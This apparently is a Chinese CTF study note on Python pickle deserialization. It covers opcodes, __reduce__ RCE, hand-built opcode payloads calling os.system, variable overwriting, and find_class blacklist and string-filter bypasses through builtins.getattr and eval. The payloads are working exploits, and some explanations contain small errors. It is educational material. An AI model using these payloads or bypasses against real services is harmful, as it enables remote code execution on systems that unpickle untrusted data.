pickle

第一次见到这种类型的题,遂记录增长见识。

什么是pickle

pickle是python中的一个标准模块,也被称为“腌制”和“卸腌”,用于将python对象转换为一个字节流,也就是序列化,并且以二进制格式储存,同时也可以把对象从字节流恢复成python对象。值得注意的是,使用pickle序列化的数据只能由pickle反序列化,并不能跨语言。

可序列化的对象

  1. 基本数据类型
    • 整型(int)
    • 浮点型(float)
    • 复数(complex)
    • 字符串(str)
    • 字节串(bytes)
    • 字节数组(bytearray)
    • 布尔值(bool)
  2. 容器类型
    • 列表(list)
    • 元组(tuple)
    • 字典(dict)
    • 集合(set)和冻结集合(frozenset)
  3. None:Python 的 None 值可以被 pickle。
  4. 函数、类和实例:用户定义的函数、类以及它们的实例可以被 pickle,但有一些限制。例如,函数和类定义所在的代码必须能够在反序列化时被导入。
  5. 内置类型实例:许多 Python 的内置类型实例,如 datetime 对象,也可以被 pickle。

主要函数

  • pickle.dump(obj, file, protocol):将对象序列化并写入文件。
  • pickle.load(file):从文件中读取并反序列化对象。
  • pickle.dumps(obj):返回对象序列化后的结果。
  • pickle.loads(bytes):从字节流中读取并且反序列化对象。

opcode

opcode 是 “operation code” 的缩写,它指的是一个指令集中的一个操作码或操作码,pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行),工作原理大致如下(白嫖的图)

20200320230711-7972c0ea-6abc-1

常用的opcode如下:

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

pickletools

使用pickletools可以方便的将opcode转化为便于肉眼读取的形式

例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import os
import pickle
import pickletools
class B():

def __init__(self, num, passwd):

self.num = num

self.passwd = passwd

def __reduce__(self):

return (os.system,('dir',))

x = B('123', 'password')

payload=pickle.dumps(x)

print(payload)
pickletools.dis(payload)

输出为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
b'\x80\x04\x95\x1b\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x03dir\x94\x85\x94R\x94.'
0: \x80 PROTO 4
2: \x95 FRAME 27
11: \x8c SHORT_BINUNICODE 'nt'
15: \x94 MEMOIZE (as 0)
16: \x8c SHORT_BINUNICODE 'system'
24: \x94 MEMOIZE (as 1)
25: \x93 STACK_GLOBAL
26: \x94 MEMOIZE (as 2)
27: \x8c SHORT_BINUNICODE 'dir'
32: \x94 MEMOIZE (as 3)
33: \x85 TUPLE1
34: \x94 MEMOIZE (as 4)
35: R REDUCE
36: \x94 MEMOIZE (as 5)
37: . STOP
highest protocol among opcodes = 4

pickle的利用

  • 任意代码执行或者命令执行
  • 变量覆盖

变量引用

有点像php,如果知道目标有什么类,我们通过修改被反序列化的内容来进行引用危险变量。

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import pickletools
class secret:
pwd = "hahaha"
class test:
def __init__(self):
self.pwd = secret.pwd
a=test()
# pickletools.optimize优化,更易读
serialized = pickletools.optimize(pickle.dumps(test, protocol=0))
print(serialized)

产生的字节码

1
b'ccopy_reg\n_reconstructor\n(c__main__\ntest\nc__builtin__\nobject\nNtR(dVpwd\nVhahaha\nsb.'   

当运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 假设 secret 模块如下定义:
# secret.py
pwd = "s3cr3t"

# 你的代码
import secret
import pickle
import pickletools

class test:
def __init__(self):
self.pwd = secret.pwd

# 假设这是已经序列化后的test类实例
target = b'ccopy_reg\n_reconstructor\n(c__main__\ntest\nc__builtin__\nobject\nNtR(dVpwd\ncsecret\npwd\nsb.'

# 使用pickle.loads反序列化target
loaded_object = pickle.loads(target)

# 打印反序列化对象的属性字典
print(vars(loaded_object))

结果

1
{'pwd': 's3cr3t'}

成功引用。

任意代码执行

漏洞产生(__ reduce __)

先看一个简单的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import os
import pickle
import pickletools
class B():

def __init__(self, num, passwd):

self.num = num

self.passwd = passwd

def __reduce__(self):

return (os.system,('dir',))

#x = B('123', 'password')
#payload=pickle.dumps(x)
#print(payload)
#pickletools.dis(payload)
pickle._loads(b'\x80\x04\x95\x1b\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x03dir\x94\x85\x94R\x94.')

当执行这段代码时便会输出当前目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
b'\x80\x04\x95\x1b\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x03dir\x94\x85\x94R\x94.'
0: \x80 PROTO 4
2: \x95 FRAME 27
11: \x8c SHORT_BINUNICODE 'nt'
15: \x94 MEMOIZE (as 0)
16: \x8c SHORT_BINUNICODE 'system'
24: \x94 MEMOIZE (as 1)
25: \x93 STACK_GLOBAL
26: \x94 MEMOIZE (as 2)
27: \x8c SHORT_BINUNICODE 'dir'
32: \x94 MEMOIZE (as 3)
33: \x85 TUPLE1
34: \x94 MEMOIZE (as 4)
35: R REDUCE
36: \x94 MEMOIZE (as 5)
37: . STOP
highest protocol among opcodes = 4

35: R REDUCE可以看到__ reduce __对应的是R指令,R选择栈上的第一个对象作为函数、第二个作为参数(第二个必须为元组)然后执行。查询得知R指令调用了load_reduce方法,查看源码:

1
2
3
4
5
6
def load_reduce(self):
stack = self.stack
args = stack.pop()
func = stack[-1]
stack[-1] = func(*args)
dispatch[REDUCE[0]] = load_reduce

按照当前的例子说就是,取当前栈栈顶的元素标记位func,然后以args为参数,执行函数func,再把结果压进了当前栈中,即func对应例子中的system,而*args对应的是dir,导致了RCE。

为什么手动构造opcode

在CTF中,很多时候需要一次执行多个函数或一次进行多个指令,此时就不能光用 __reduce__ 来解决问题(reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),这时我们就可以构造opcode来进行命令执行。因为版本0的opcode更方便阅读,所以手写一般用的是版本0.

常用操作符c,R,o,i,b。

c

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def load_global(self):
module = self.readline()[:-1].decode("utf-8")
name = self.readline()[:-1].decode("utf-8")#获取moudle和name
klass = self.find_class(module, name)#使用find_class()获取函数
self.append(klass)#压栈
def find_class(self, module, name):
# Subclasses may override this.
sys.audit('pickle.find_class', module, name)
if self.proto < 3 and self.fix_imports:
if (module, name) in _compat_pickle.NAME_MAPPING:
module, name = _compat_pickle.NAME_MAPPING[(module, name)]
elif module in _compat_pickle.IMPORT_MAPPING:
module = _compat_pickle.IMPORT_MAPPING[module]
__import__(module, level=0)
if self.proto >= 4:
return _getattribute(sys.modules[module], name)[0]
else:
return getattr(sys.modules[module], name)

c操作符把find_class()函数返回的一个类对象压入栈,通过__import__()引入了模块并且通过self.proto判断pickle版本处理了不同版本的函数名称问题.

举例

1
2
3
4
5
6
7
8
import pickle
import pickletools

# 构造一个调用 os.system 的 pickle 数据(直接使用 c 操作符)
data = b'''c__main__\nos\nsystem\n(cos\nsystem\nS'calc'\ntR.'''

# 反汇编查看操作符
pickletools.dis(data)

输出

1
2
3
4
5
6
7
 0: c    GLOBAL     '__main__ os system'  # 导入 os.system
19: ( MARK
20: c GLOBAL 'os system' # 再次导入 os.system
31: S STRING 'calc' # 参数字符串 'calc'
38: t TUPLE (MARK at 19) # 组成元组 (os.system, 'calc')
39: R REDUCE # 调用函数
40: . STOP

效果:反序列化后会执行 os.system("calc")(弹出计算器)。

R

1
2
3
4
opcode=b'''cos
system
(S'whoami'
tR.'''

cos
system
将os.system压入栈中
(
向栈中压入Mark
S’whoami’
将字符串whoami压入栈中
t寻找栈中的上一个Mark,并组合之间的数组为元组(‘whoami’)
R选择栈上的第一个对象作为函数、第二个作为参数(第二个必须为元组),
然后调用该函数os.system(‘whoami’)
点号结束

o

1
2
3
4
opcode=b'''(cos
system
S'whoami'
o.'''

寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

i

1
2
3
4
opcode=b'''(S'whoami'
ios
system
.'''

(S’whoami’Mark压入栈中,字符串压入栈中
ios\nsystem
i指令相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

b

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def load_build(self):
stack = self.stack
state = stack.pop()
# 首先获取栈上的字节码 b 前的一个元素,对于对象来说,该元素一般是存储有对象属性的dict
inst = stack[-1]
#获取该字典中键名为"__setstate__"的value
setstate = getattr(inst, "__setstate__", None)
#如果存在,则执行value(state)
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
#如果"__setstate__"为空,则state与对象默认的__dict__合并,这一步其实就是将序列化前保存的持久化属性和对象属性字典合并
if state:#如果state不是False,None,0或者非空序列,就步入
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
#如果__setstate__和__getstate__都没有设置,则加载默认__dict__
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build

简单地说,b操作符有两种用法

  1. 向一个实例中插入属性,或覆盖属性
  2. 以一个实例的__setstate__属性为func,b的前一个元素当作arg,执行func(arg)

变量覆盖

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import pickletools
class Secret:
def __init__(self, name):
self.name = name

s=Secret("S1nKk")
opcode=b"""c__main__
s
(S'name'
S'Funny_M0nk3y'
db."""
pickle.loads(opcode)
print(s.name)
# pickletools.dis(opcode)
  • c__main__:创建一个在 __main__ 模块中定义的类的实例。

  • s:表示接下来的操作是保存一个对象的字典(即实例的属性)。

  • (S'name':表示一个键,这里是字符串 'name'

  • S'Funny_M0nk3y':表示一个值,这里是字符串 'Funny_M0nk3y'

  • db.:结束保存字典的操作,然后是 pickle 协议的结束标记。

    这时name的值便被修改为Funny_M0nk3y。

绕过

find_class()中出现过滤

有些题中通过在find_class()中加入黑白名单来防止调用危险函数

绕过方法

通过使用builtins模块构造getattr函数,不再经过find_class,就能绕过WAF实现任意函数执行。

builtins模块
builtins 是 Python 的内置模块,包含所有内置函数和类(如 getattrstrdict 等)。攻击者可能通过它间接访问危险函数。

getattr:

getattrbuiltins 模块中的一个函数,用于从对象中获取指定的属性。

示例:

1
builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.golbals(),'builtins'),'eval')(command)
  1. builtins.dict: 这是Python内置的 dict 类。

  2. builtins.getattr(builtins.dict, ‘get’): 这里使用 getattr 函数来获取 dict 类的 get 方法。get 方法是字典对象的一个方法,用于获取指定键的值,如果键不存在,则返回默认值(如果没有提供默认值,则返回 None)。

  3. builtins.getattr(builtins.dict, ‘get’)(builtins.globals(), ‘builtins’): 这一步执行了上一步获取的 get 方法。builtins.globals() 返回当前全局符号表,这是一个字典,包含了当前全局范围内的所有变量。然后,我们使用 get 方法从这个全局字典中获取键 'builtins' 的值。在全局字典中,键 'builtins' 对应的是 builtins 模块本身。

  4. builtins.getattr(…, ‘eval’): 最后,我们再次使用 getattr 函数,这次是从上一步返回的 builtins 模块中获取 'eval' 属性。eval 是一个内置函数,它能够执行一个字符串作为Python代码。

    5.(command): 最后,我们将 command 作为参数传递给 eval 函数。这意味着 command 字符串将被当作Python代码执行。

难点在于如何转化成opcode,这里我们可以借助pker的辅助来进行生成。

写成opcode就是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
geteval = b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''

绕过显式字符串检测

V操作符可以进行unicode编码

1
2
Vsecr\u0065t
#secret

S操作符可以识别十六进制

1
2
S'\x73ecret'
#secret